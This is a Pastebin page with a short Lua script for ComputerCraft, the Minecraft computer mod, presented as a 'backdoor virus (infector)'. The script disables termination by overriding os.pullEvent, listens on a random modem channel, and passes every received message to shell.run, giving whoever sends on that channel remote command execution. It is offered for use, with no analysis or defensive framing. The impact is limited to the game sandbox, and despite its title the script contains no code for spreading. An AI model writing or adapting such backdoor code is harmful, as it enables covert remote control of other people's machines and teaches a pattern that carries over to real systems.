An_random_user

ComputerCraft backdoor virus (infector)

May 23rd, 2022 (edited)
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.90 KB | None | 0 0
  1. function findModem()
  2.   for _, v in pairs( rs.getSides() ) do
  3.         if peripheral.isPresent( v ) and peripheral.getType( v ) == "modem" then
  4.           return true, v
  5.         end
  6.   end
  7.   return false, nil
  8. end
  9. local exist, side = findModem()
  10. if not (exist) then
  11. error("To use this backdoor you need to have an modem installed.")
  12. end
  13. os.pullEvent = os.pullEventRaw
  14. local modem = peripheral.wrap(side)
  15. local chnlname = math.random(25565,65535)
  16. modem.open(chnlname)
  17. print("my channel is: "..tostring(chnlname))
  18. print("connect to it to use the backdoor")
  19. print("press any key to continue")
  20. os.pullEventRaw()
  21.  
  22. while true do
  23.  
  24. local event, modemSide, senderChannel,
  25.   replyChannel, message, senderDistance = coroutine.yield("modem_message")
  26.   print("recv")
  27.   print(event, modemSide, senderChannel, replyChannel, message, senderDistance)
  28. print("> "..tostring(message))  
  29. shell.run(tostring(message))
  30. end
Add Comment
Please, Sign In to add comment